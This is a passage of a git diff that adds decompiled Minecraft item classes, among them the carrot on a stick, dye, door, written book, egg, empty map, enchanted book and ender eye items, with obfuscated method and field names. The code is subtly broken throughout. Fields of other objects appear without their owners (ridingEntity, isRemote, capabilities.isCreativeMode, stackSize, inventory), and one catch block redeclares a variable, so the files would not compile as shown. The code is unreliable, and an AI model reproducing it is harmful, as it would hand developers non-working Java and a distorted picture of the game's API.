+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    playerIn.setItemInUse(itemStackIn, getMaxItemUseDuration(itemStackIn));
+    return itemStackIn;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemCarrotOnAStick.java b/src/minecraft/net/minecraft/item/ItemCarrotOnAStick.java
new file mode 100644
index 0000000..cf9098d
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemCarrotOnAStick.java
@@ -0,0 +1,64 @@
+package net.minecraft.item;
+
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.ai.EntityAIControlledByPlayer;
+import net.minecraft.entity.passive.EntityPig;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.world.World;
+
+public class ItemCarrotOnAStick extends Item
+{
+  private static final String __OBFID = "CL_00000001";
+  
+  public ItemCarrotOnAStick()
+  {
+    setCreativeTab(CreativeTabs.tabTransport);
+    setMaxStackSize(1);
+    setMaxDamage(25);
+  }
+  
+
+
+
+  public boolean isFull3D()
+  {
+    return true;
+  }
+  
+
+
+
+
+  public boolean shouldRotateAroundWhenRendering()
+  {
+    return true;
+  }
+  
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    if ((playerIn.isRiding()) && ((ridingEntity instanceof EntityPig)))
+    {
+      EntityPig var4 = (EntityPig)ridingEntity;
+      
+      if ((var4.getAIControlledByPlayer().isControlledByPlayer()) && (itemStackIn.getMaxDamage() - itemStackIn.getMetadata() >= 7))
+      {
+        var4.getAIControlledByPlayer().boostSpeed();
+        itemStackIn.damageItem(7, playerIn);
+        
+        if (stackSize == 0)
+        {
+          ItemStack var5 = new ItemStack(Items.fishing_rod);
+          var5.setTagCompound(itemStackIn.getTagCompound());
+          return var5;
+        }
+      }
+    }
+    
+    playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+    return itemStackIn;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemCloth.java b/src/minecraft/net/minecraft/item/ItemCloth.java
new file mode 100644
index 0000000..c8eb2c4
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemCloth.java
@@ -0,0 +1,33 @@
+package net.minecraft.item;
+
+import net.minecraft.block.Block;
+
+public class ItemCloth extends ItemBlock
+{
+  private static final String __OBFID = "CL_00000075";
+  
+  public ItemCloth(Block p_i45358_1_)
+  {
+    super(p_i45358_1_);
+    setMaxDamage(0);
+    setHasSubtypes(true);
+  }
+  
+
+
+
+
+  public int getMetadata(int damage)
+  {
+    return damage;
+  }
+  
+
+
+
+
+  public String getUnlocalizedName(ItemStack stack)
+  {
+    return super.getUnlocalizedName() + "." + EnumDyeColor.func_176764_b(stack.getMetadata()).func_176762_d();
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemCoal.java b/src/minecraft/net/minecraft/item/ItemCoal.java
new file mode 100644
index 0000000..61a6d79
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemCoal.java
@@ -0,0 +1,36 @@
+package net.minecraft.item;
+
+import java.util.List;
+import net.minecraft.creativetab.CreativeTabs;
+
+public class ItemCoal extends Item
+{
+  private static final String __OBFID = "CL_00000002";
+  
+  public ItemCoal()
+  {
+    setHasSubtypes(true);
+    setMaxDamage(0);
+    setCreativeTab(CreativeTabs.tabMaterials);
+  }
+  
+
+
+
+
+  public String getUnlocalizedName(ItemStack stack)
+  {
+    return stack.getMetadata() == 1 ? "item.charcoal" : "item.coal";
+  }
+  
+
+
+
+
+
+  public void getSubItems(Item itemIn, CreativeTabs tab, List subItems)
+  {
+    subItems.add(new ItemStack(itemIn, 1, 0));
+    subItems.add(new ItemStack(itemIn, 1, 1));
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemColored.java b/src/minecraft/net/minecraft/item/ItemColored.java
new file mode 100644
index 0000000..f1b3b84
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemColored.java
@@ -0,0 +1,58 @@
+package net.minecraft.item;
+
+import net.minecraft.block.Block;
+
+public class ItemColored extends ItemBlock
+{
+  private final Block field_150944_b;
+  private String[] field_150945_c;
+  private static final String __OBFID = "CL_00000003";
+  
+  public ItemColored(Block p_i45332_1_, boolean p_i45332_2_)
+  {
+    super(p_i45332_1_);
+    field_150944_b = p_i45332_1_;
+    
+    if (p_i45332_2_)
+    {
+      setMaxDamage(0);
+      setHasSubtypes(true);
+    }
+  }
+  
+  public int getColorFromItemStack(ItemStack stack, int renderPass)
+  {
+    return field_150944_b.getRenderColor(field_150944_b.getStateFromMeta(stack.getMetadata()));
+  }
+  
+
+
+
+
+  public int getMetadata(int damage)
+  {
+    return damage;
+  }
+  
+  public ItemColored func_150943_a(String[] p_150943_1_)
+  {
+    field_150945_c = p_150943_1_;
+    return this;
+  }
+  
+
+
+
+
+  public String getUnlocalizedName(ItemStack stack)
+  {
+    if (field_150945_c == null)
+    {
+      return super.getUnlocalizedName(stack);
+    }
+    
+
+    int var2 = stack.getMetadata();
+    return (var2 >= 0) && (var2 < field_150945_c.length) ? super.getUnlocalizedName(stack) + "." + field_150945_c[var2] : super.getUnlocalizedName(stack);
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemDoor.java b/src/minecraft/net/minecraft/item/ItemDoor.java
new file mode 100644
index 0000000..a3d9641
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemDoor.java
@@ -0,0 +1,84 @@
+package net.minecraft.item;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockDoor;
+import net.minecraft.block.BlockDoor.EnumHingePosition;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class ItemDoor extends Item
+{
+  private Block field_179236_a;
+  private static final String __OBFID = "CL_00000020";
+  
+  public ItemDoor(Block p_i45788_1_)
+  {
+    field_179236_a = p_i45788_1_;
+    setCreativeTab(net.minecraft.creativetab.CreativeTabs.tabRedstone);
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (side != EnumFacing.UP)
+    {
+      return false;
+    }
+    
+
+    IBlockState var9 = worldIn.getBlockState(pos);
+    Block var10 = var9.getBlock();
+    
+    if (!var10.isReplaceable(worldIn, pos))
+    {
+      pos = pos.offset(side);
+    }
+    
+    if (!playerIn.func_175151_a(pos, side, stack))
+    {
+      return false;
+    }
+    if (!field_179236_a.canPlaceBlockAt(worldIn, pos))
+    {
+      return false;
+    }
+    
+
+    func_179235_a(worldIn, pos, EnumFacing.fromAngle(rotationYaw), field_179236_a);
+    stackSize -= 1;
+    return true;
+  }
+  
+
+
+  public static void func_179235_a(World worldIn, BlockPos p_179235_1_, EnumFacing p_179235_2_, Block p_179235_3_)
+  {
+    BlockPos var4 = p_179235_1_.offset(p_179235_2_.rotateY());
+    BlockPos var5 = p_179235_1_.offset(p_179235_2_.rotateYCCW());
+    int var6 = (worldIn.getBlockState(var5).getBlock().isNormalCube() ? 1 : 0) + (worldIn.getBlockState(var5.offsetUp()).getBlock().isNormalCube() ? 1 : 0);
+    int var7 = (worldIn.getBlockState(var4).getBlock().isNormalCube() ? 1 : 0) + (worldIn.getBlockState(var4.offsetUp()).getBlock().isNormalCube() ? 1 : 0);
+    boolean var8 = (worldIn.getBlockState(var5).getBlock() == p_179235_3_) || (worldIn.getBlockState(var5.offsetUp()).getBlock() == p_179235_3_);
+    boolean var9 = (worldIn.getBlockState(var4).getBlock() == p_179235_3_) || (worldIn.getBlockState(var4.offsetUp()).getBlock() == p_179235_3_);
+    boolean var10 = false;
+    
+    if (((var8) && (!var9)) || (var7 > var6))
+    {
+      var10 = true;
+    }
+    
+    BlockPos var11 = p_179235_1_.offsetUp();
+    IBlockState var12 = p_179235_3_.getDefaultState().withProperty(BlockDoor.FACING_PROP, p_179235_2_).withProperty(BlockDoor.HINGEPOSITION_PROP, var10 ? BlockDoor.EnumHingePosition.RIGHT : BlockDoor.EnumHingePosition.LEFT);
+    worldIn.setBlockState(p_179235_1_, var12.withProperty(BlockDoor.HALF_PROP, net.minecraft.block.BlockDoor.EnumDoorHalf.LOWER), 2);
+    worldIn.setBlockState(var11, var12.withProperty(BlockDoor.HALF_PROP, net.minecraft.block.BlockDoor.EnumDoorHalf.UPPER), 2);
+    worldIn.notifyNeighborsOfStateChange(p_179235_1_, p_179235_3_);
+    worldIn.notifyNeighborsOfStateChange(var11, p_179235_3_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemDoublePlant.java b/src/minecraft/net/minecraft/item/ItemDoublePlant.java
new file mode 100644
index 0000000..b795de8
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemDoublePlant.java
@@ -0,0 +1,22 @@
+package net.minecraft.item;
+
+import com.google.common.base.Function;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockDoublePlant.EnumPlantType;
+import net.minecraft.world.ColorizerGrass;
+
+public class ItemDoublePlant extends ItemMultiTexture
+{
+  private static final String __OBFID = "CL_00000021";
+  
+  public ItemDoublePlant(Block p_i45787_1_, Block p_i45787_2_, Function p_i45787_3_)
+  {
+    super(p_i45787_1_, p_i45787_2_, p_i45787_3_);
+  }
+  
+  public int getColorFromItemStack(ItemStack stack, int renderPass)
+  {
+    BlockDoublePlant.EnumPlantType var3 = BlockDoublePlant.EnumPlantType.func_176938_a(stack.getMetadata());
+    return (var3 != BlockDoublePlant.EnumPlantType.GRASS) && (var3 != BlockDoublePlant.EnumPlantType.FERN) ? super.getColorFromItemStack(stack, renderPass) : ColorizerGrass.getGrassColor(0.5D, 1.0D);
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemDye.java b/src/minecraft/net/minecraft/item/ItemDye.java
new file mode 100644
index 0000000..6efc6a7
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemDye.java
@@ -0,0 +1,193 @@
+package net.minecraft.item;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.IGrowable;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntitySheep;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.World;
+
+public class ItemDye extends Item
+{
+  public static final int[] dyeColors = { 1973019, 11743532, 3887386, 5320730, 2437522, 8073150, 2651799, 11250603, 4408131, 14188952, 4312372, 14602026, 6719955, 12801229, 15435844, 15790320 };
+  private static final String __OBFID = "CL_00000022";
+  
+  public ItemDye()
+  {
+    setHasSubtypes(true);
+    setMaxDamage(0);
+    setCreativeTab(CreativeTabs.tabMaterials);
+  }
+  
+
+
+
+
+  public String getUnlocalizedName(ItemStack stack)
+  {
+    int var2 = stack.getMetadata();
+    return super.getUnlocalizedName() + "." + EnumDyeColor.func_176766_a(var2).func_176762_d();
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (!playerIn.func_175151_a(pos.offset(side), side, stack))
+    {
+      return false;
+    }
+    
+
+    EnumDyeColor var9 = EnumDyeColor.func_176766_a(stack.getMetadata());
+    
+    if (var9 == EnumDyeColor.WHITE)
+    {
+      if (func_179234_a(stack, worldIn, pos))
+      {
+        if (!isRemote)
+        {
+          worldIn.playAuxSFX(2005, pos, 0);
+        }
+        
+        return true;
+      }
+    }
+    else if (var9 == EnumDyeColor.BROWN)
+    {
+      IBlockState var10 = worldIn.getBlockState(pos);
+      Block var11 = var10.getBlock();
+      
+      if ((var11 == Blocks.log) && (var10.getValue(net.minecraft.block.BlockPlanks.VARIANT_PROP) == net.minecraft.block.BlockPlanks.EnumType.JUNGLE))
+      {
+        if (side == EnumFacing.DOWN)
+        {
+          return false;
+        }
+        
+        if (side == EnumFacing.UP)
+        {
+          return false;
+        }
+        
+        pos = pos.offset(side);
+        
+        if (worldIn.isAirBlock(pos))
+        {
+          IBlockState var12 = Blocks.cocoa.onBlockPlaced(worldIn, pos, side, hitX, hitY, hitZ, 0, playerIn);
+          worldIn.setBlockState(pos, var12, 2);
+          
+          if (!capabilities.isCreativeMode)
+          {
+            stackSize -= 1;
+          }
+        }
+        
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+
+  public static boolean func_179234_a(ItemStack p_179234_0_, World worldIn, BlockPos p_179234_2_)
+  {
+    IBlockState var3 = worldIn.getBlockState(p_179234_2_);
+    
+    if ((var3.getBlock() instanceof IGrowable))
+    {
+      IGrowable var4 = (IGrowable)var3.getBlock();
+      
+      if (var4.isStillGrowing(worldIn, p_179234_2_, var3, isRemote))
+      {
+        if (!isRemote)
+        {
+          if (var4.canUseBonemeal(worldIn, rand, p_179234_2_, var3))
+          {
+            var4.grow(worldIn, rand, p_179234_2_, var3);
+          }
+          
+          stackSize -= 1;
+        }
+        
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+  public static void func_180617_a(World worldIn, BlockPos p_180617_1_, int p_180617_2_)
+  {
+    if (p_180617_2_ == 0)
+    {
+      p_180617_2_ = 15;
+    }
+    
+    Block var3 = worldIn.getBlockState(p_180617_1_).getBlock();
+    
+    if (var3.getMaterial() != net.minecraft.block.material.Material.air)
+    {
+      var3.setBlockBoundsBasedOnState(worldIn, p_180617_1_);
+      
+      for (int var4 = 0; var4 < p_180617_2_; var4++)
+      {
+        double var5 = itemRand.nextGaussian() * 0.02D;
+        double var7 = itemRand.nextGaussian() * 0.02D;
+        double var9 = itemRand.nextGaussian() * 0.02D;
+        worldIn.spawnParticle(EnumParticleTypes.VILLAGER_HAPPY, p_180617_1_.getX() + itemRand.nextFloat(), p_180617_1_.getY() + itemRand.nextFloat() * var3.getBlockBoundsMaxY(), p_180617_1_.getZ() + itemRand.nextFloat(), var5, var7, var9, new int[0]);
+      }
+    }
+  }
+  
+
+
+
+  public boolean itemInteractionForEntity(ItemStack stack, EntityPlayer playerIn, EntityLivingBase target)
+  {
+    if ((target instanceof EntitySheep))
+    {
+      EntitySheep var4 = (EntitySheep)target;
+      EnumDyeColor var5 = EnumDyeColor.func_176766_a(stack.getMetadata());
+      
+      if ((!var4.getSheared()) && (var4.func_175509_cj() != var5))
+      {
+        var4.func_175512_b(var5);
+        stackSize -= 1;
+      }
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+
+
+  public void getSubItems(Item itemIn, CreativeTabs tab, List subItems)
+  {
+    for (int var4 = 0; var4 < 16; var4++)
+    {
+      subItems.add(new ItemStack(itemIn, 1, var4));
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemEditableBook.java b/src/minecraft/net/minecraft/item/ItemEditableBook.java
new file mode 100644
index 0000000..85a3ed8
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemEditableBook.java
@@ -0,0 +1,152 @@
+package net.minecraft.item;
+
+import java.util.List;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.Slot;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.nbt.NBTTagString;
+import net.minecraft.network.NetHandlerPlayServer;
+import net.minecraft.util.ChatComponentProcessor;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.IChatComponent.Serializer;
+import net.minecraft.util.StatCollector;
+import net.minecraft.util.StringUtils;
+import net.minecraft.world.World;
+
+public class ItemEditableBook extends Item
+{
+  private static final String __OBFID = "CL_00000077";
+  
+  public ItemEditableBook()
+  {
+    setMaxStackSize(1);
+  }
+  
+  public static boolean validBookTagContents(NBTTagCompound p_77828_0_)
+  {
+    if (!ItemWritableBook.validBookPageTagContents(p_77828_0_))
+    {
+      return false;
+    }
+    if (!p_77828_0_.hasKey("title", 8))
+    {
+      return false;
+    }
+    
+
+    String var1 = p_77828_0_.getString("title");
+    return (var1 != null) && (var1.length() <= 32) ? p_77828_0_.hasKey("author", 8) : false;
+  }
+  
+
+  public static int func_179230_h(ItemStack p_179230_0_)
+  {
+    return p_179230_0_.getTagCompound().getInteger("generation");
+  }
+  
+  public String getItemStackDisplayName(ItemStack stack)
+  {
+    if (stack.hasTagCompound())
+    {
+      NBTTagCompound var2 = stack.getTagCompound();
+      String var3 = var2.getString("title");
+      
+      if (!StringUtils.isNullOrEmpty(var3))
+      {
+        return var3;
+      }
+    }
+    
+    return super.getItemStackDisplayName(stack);
+  }
+  
+
+
+
+
+
+
+  public void addInformation(ItemStack stack, EntityPlayer playerIn, List tooltip, boolean advanced)
+  {
+    if (stack.hasTagCompound())
+    {
+      NBTTagCompound var5 = stack.getTagCompound();
+      String var6 = var5.getString("author");
+      
+      if (!StringUtils.isNullOrEmpty(var6))
+      {
+        tooltip.add(EnumChatFormatting.GRAY + StatCollector.translateToLocalFormatted("book.byAuthor", new Object[] { var6 }));
+      }
+      
+      tooltip.add(EnumChatFormatting.GRAY + StatCollector.translateToLocal(new StringBuilder("book.generation.").append(var5.getInteger("generation")).toString()));
+    }
+  }
+  
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    if (!isRemote)
+    {
+      func_179229_a(itemStackIn, playerIn);
+    }
+    
+    playerIn.displayGUIBook(itemStackIn);
+    playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+    return itemStackIn;
+  }
+  
+  private void func_179229_a(ItemStack p_179229_1_, EntityPlayer p_179229_2_)
+  {
+    if ((p_179229_1_ != null) && (p_179229_1_.getTagCompound() != null))
+    {
+      NBTTagCompound var3 = p_179229_1_.getTagCompound();
+      
+      if (!var3.getBoolean("resolved"))
+      {
+        var3.setBoolean("resolved", true);
+        
+        if (validBookTagContents(var3))
+        {
+          NBTTagList var4 = var3.getTagList("pages", 8);
+          
+          for (int var5 = 0; var5 < var4.tagCount(); var5++)
+          {
+            String var6 = var4.getStringTagAt(var5);
+            
+            Object var7;
+            try
+            {
+              IChatComponent var11 = IChatComponent.Serializer.jsonToComponent(var6);
+              var7 = ChatComponentProcessor.func_179985_a(p_179229_2_, var11, p_179229_2_);
+            }
+            catch (Exception var9) {
+              Object var7;
+              var7 = new net.minecraft.util.ChatComponentText(var6);
+            }
+            
+            var4.set(var5, new NBTTagString(IChatComponent.Serializer.componentToJson((IChatComponent)var7)));
+          }
+          
+          var3.setTag("pages", var4);
+          
+          if (((p_179229_2_ instanceof EntityPlayerMP)) && (p_179229_2_.getCurrentEquippedItem() == p_179229_1_))
+          {
+            Slot var10 = openContainer.getSlotFromInventory(inventory, inventory.currentItem);
+            playerNetServerHandler.sendPacket(new net.minecraft.network.play.server.S2FPacketSetSlot(0, slotNumber, p_179229_1_));
+          }
+        }
+      }
+    }
+  }
+  
+  public boolean hasEffect(ItemStack stack)
+  {
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemEgg.java b/src/minecraft/net/minecraft/item/ItemEgg.java
new file mode 100644
index 0000000..26d9557
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemEgg.java
@@ -0,0 +1,39 @@
+package net.minecraft.item;
+
+import java.util.Random;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.world.World;
+
+public class ItemEgg extends Item
+{
+  private static final String __OBFID = "CL_00000023";
+  
+  public ItemEgg()
+  {
+    maxStackSize = 16;
+    setCreativeTab(CreativeTabs.tabMaterials);
+  }
+  
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    if (!capabilities.isCreativeMode)
+    {
+      stackSize -= 1;
+    }
+    
+    worldIn.playSoundAtEntity(playerIn, "random.bow", 0.5F, 0.4F / (itemRand.nextFloat() * 0.4F + 0.8F));
+    
+    if (!isRemote)
+    {
+      worldIn.spawnEntityInWorld(new net.minecraft.entity.projectile.EntityEgg(worldIn, playerIn));
+    }
+    
+    playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+    return itemStackIn;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemEmptyMap.java b/src/minecraft/net/minecraft/item/ItemEmptyMap.java
new file mode 100644
index 0000000..0b163e0
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemEmptyMap.java
@@ -0,0 +1,48 @@
+package net.minecraft.item;
+
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.storage.MapData;
+
+public class ItemEmptyMap extends ItemMapBase
+{
+  private static final String __OBFID = "CL_00000024";
+  
+  protected ItemEmptyMap()
+  {
+    setCreativeTab(CreativeTabs.tabMisc);
+  }
+  
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    ItemStack var4 = new ItemStack(Items.filled_map, 1, worldIn.getUniqueDataId("map"));
+    String var5 = "map_" + var4.getMetadata();
+    MapData var6 = new MapData(var5);
+    worldIn.setItemData(var5, var6);
+    scale = 0;
+    var6.func_176054_a(posX, posZ, scale);
+    dimension = ((byte)provider.getDimensionId());
+    var6.markDirty();
+    stackSize -= 1;
+    
+    if (stackSize <= 0)
+    {
+      return var4;
+    }
+    
+
+    if (!inventory.addItemStackToInventory(var4.copy()))
+    {
+      playerIn.dropPlayerItemWithRandomChoice(var4, false);
+    }
+    
+    playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+    return itemStackIn;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemEnchantedBook.java b/src/minecraft/net/minecraft/item/ItemEnchantedBook.java
new file mode 100644
index 0000000..9498af9
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemEnchantedBook.java
@@ -0,0 +1,140 @@
+package net.minecraft.item;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.enchantment.Enchantment;
+import net.minecraft.enchantment.EnchantmentData;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.util.WeightedRandomChestContent;
+
+public class ItemEnchantedBook extends Item
+{
+  private static final String __OBFID = "CL_00000025";
+  
+  public ItemEnchantedBook() {}
+  
+  public boolean hasEffect(ItemStack stack)
+  {
+    return true;
+  }
+  
+
+
+
+  public boolean isItemTool(ItemStack stack)
+  {
+    return false;
+  }
+  
+
+
+
+  public EnumRarity getRarity(ItemStack stack)
+  {
+    return func_92110_g(stack).tagCount() > 0 ? EnumRarity.UNCOMMON : super.getRarity(stack);
+  }
+  
+  public NBTTagList func_92110_g(ItemStack p_92110_1_)
+  {
+    NBTTagCompound var2 = p_92110_1_.getTagCompound();
+    return (var2 != null) && (var2.hasKey("StoredEnchantments", 9)) ? (NBTTagList)var2.getTag("StoredEnchantments") : new NBTTagList();
+  }
+  
+
+
+
+
+
+
+  public void addInformation(ItemStack stack, EntityPlayer playerIn, List tooltip, boolean advanced)
+  {
+    super.addInformation(stack, playerIn, tooltip, advanced);
+    NBTTagList var5 = func_92110_g(stack);
+    
+    if (var5 != null)
+    {
+      for (int var6 = 0; var6 < var5.tagCount(); var6++)
+      {
+        short var7 = var5.getCompoundTagAt(var6).getShort("id");
+        short var8 = var5.getCompoundTagAt(var6).getShort("lvl");
+        
+        if (Enchantment.func_180306_c(var7) != null)
+        {
+          tooltip.add(Enchantment.func_180306_c(var7).getTranslatedName(var8));
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void addEnchantment(ItemStack p_92115_1_, EnchantmentData p_92115_2_)
+  {
+    NBTTagList var3 = func_92110_g(p_92115_1_);
+    boolean var4 = true;
+    
+    for (int var5 = 0; var5 < var3.tagCount(); var5++)
+    {
+      NBTTagCompound var6 = var3.getCompoundTagAt(var5);
+      
+      if (var6.getShort("id") == enchantmentobj.effectId)
+      {
+        if (var6.getShort("lvl") < enchantmentLevel)
+        {
+          var6.setShort("lvl", (short)enchantmentLevel);
+        }
+        
+        var4 = false;
+        break;
+      }
+    }
+    
+    if (var4)
+    {
+      NBTTagCompound var7 = new NBTTagCompound();
+      var7.setShort("id", (short)enchantmentobj.effectId);
+      var7.setShort("lvl", (short)enchantmentLevel);
+      var3.appendTag(var7);
+    }
+    
+    if (!p_92115_1_.hasTagCompound())
+    {
+      p_92115_1_.setTagCompound(new NBTTagCompound());
+    }
+    
+    p_92115_1_.getTagCompound().setTag("StoredEnchantments", var3);
+  }
+  
+
+
+
+  public ItemStack getEnchantedItemStack(EnchantmentData p_92111_1_)
+  {
+    ItemStack var2 = new ItemStack(this);
+    addEnchantment(var2, p_92111_1_);
+    return var2;
+  }
+  
+  public void func_92113_a(Enchantment p_92113_1_, List p_92113_2_)
+  {
+    for (int var3 = p_92113_1_.getMinLevel(); var3 <= p_92113_1_.getMaxLevel(); var3++)
+    {
+      p_92113_2_.add(getEnchantedItemStack(new EnchantmentData(p_92113_1_, var3)));
+    }
+  }
+  
+  public WeightedRandomChestContent getRandomEnchantedBook(Random p_92114_1_)
+  {
+    return func_92112_a(p_92114_1_, 1, 1, 1);
+  }
+  
+  public WeightedRandomChestContent func_92112_a(Random p_92112_1_, int p_92112_2_, int p_92112_3_, int p_92112_4_)
+  {
+    ItemStack var5 = new ItemStack(net.minecraft.init.Items.book, 1, 0);
+    net.minecraft.enchantment.EnchantmentHelper.addRandomEnchantment(p_92112_1_, var5, 30);
+    return new WeightedRandomChestContent(var5, p_92112_2_, p_92112_3_, p_92112_4_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemEnderEye.java b/src/minecraft/net/minecraft/item/ItemEnderEye.java
new file mode 100644
index 0000000..27054a1
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemEnderEye.java
@@ -0,0 +1,185 @@
+package net.minecraft.item;
+
+import java.util.Random;
+import net.minecraft.block.BlockEndPortalFrame;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.item.EntityEnderEye;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.world.World;
+
+public class ItemEnderEye extends Item
+{
+  private static final String __OBFID = "CL_00000026";
+  
+  public ItemEnderEye()
+  {
+    setCreativeTab(CreativeTabs.tabMisc);
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    IBlockState var9 = worldIn.getBlockState(pos);
+    
+    if ((playerIn.func_175151_a(pos.offset(side), side, stack)) && (var9.getBlock() == Blocks.end_portal_frame) && (!((Boolean)var9.getValue(BlockEndPortalFrame.field_176507_b)).booleanValue()))
+    {
+      if (isRemote)
+      {
+        return true;
+      }
+      
+
+      worldIn.setBlockState(pos, var9.withProperty(BlockEndPortalFrame.field_176507_b, Boolean.valueOf(true)), 2);
+      worldIn.updateComparatorOutputLevel(pos, Blocks.end_portal_frame);
+      stackSize -= 1;
+      
+      for (int var10 = 0; var10 < 16; var10++)
+      {
+        double var11 = pos.getX() + (5.0F + itemRand.nextFloat() * 6.0F) / 16.0F;
+        double var13 = pos.getY() + 0.8125F;
+        double var15 = pos.getZ() + (5.0F + itemRand.nextFloat() * 6.0F) / 16.0F;
+        double var17 = 0.0D;
+        double var19 = 0.0D;
+        double var21 = 0.0D;
+        worldIn.spawnParticle(net.minecraft.util.EnumParticleTypes.SMOKE_NORMAL, var11, var13, var15, var17, var19, var21, new int[0]);
+      }
+      
+      EnumFacing var23 = (EnumFacing)var9.getValue(BlockEndPortalFrame.field_176508_a);
+      int var24 = 0;
+      int var12 = 0;
+      boolean var25 = false;
+      boolean var14 = true;
+      EnumFacing var26 = var23.rotateY();
+      
+      for (int var16 = -2; var16 <= 2; var16++)
+      {
+        BlockPos var28 = pos.offset(var26, var16);
+        IBlockState var18 = worldIn.getBlockState(var28);
+        
+        if (var18.getBlock() == Blocks.end_portal_frame)
+        {
+          if (!((Boolean)var18.getValue(BlockEndPortalFrame.field_176507_b)).booleanValue())
+          {
+            var14 = false;
+            break;
+          }
+          
+          var12 = var16;
+          
+          if (!var25)
+          {
+            var24 = var16;
+            var25 = true;
+          }
+        }
+      }
+      
+      if ((var14) && (var12 == var24 + 2))
+      {
+        BlockPos var27 = pos.offset(var23, 4);
+        
+
+        for (int var29 = var24; var29 <= var12; var29++)
+        {
+          BlockPos var30 = var27.offset(var26, var29);
+          IBlockState var32 = worldIn.getBlockState(var30);
+          
+          if ((var32.getBlock() != Blocks.end_portal_frame) || (!((Boolean)var32.getValue(BlockEndPortalFrame.field_176507_b)).booleanValue()))
+          {
+            var14 = false;
+            break;
+          }
+        }
+        
+
+
+
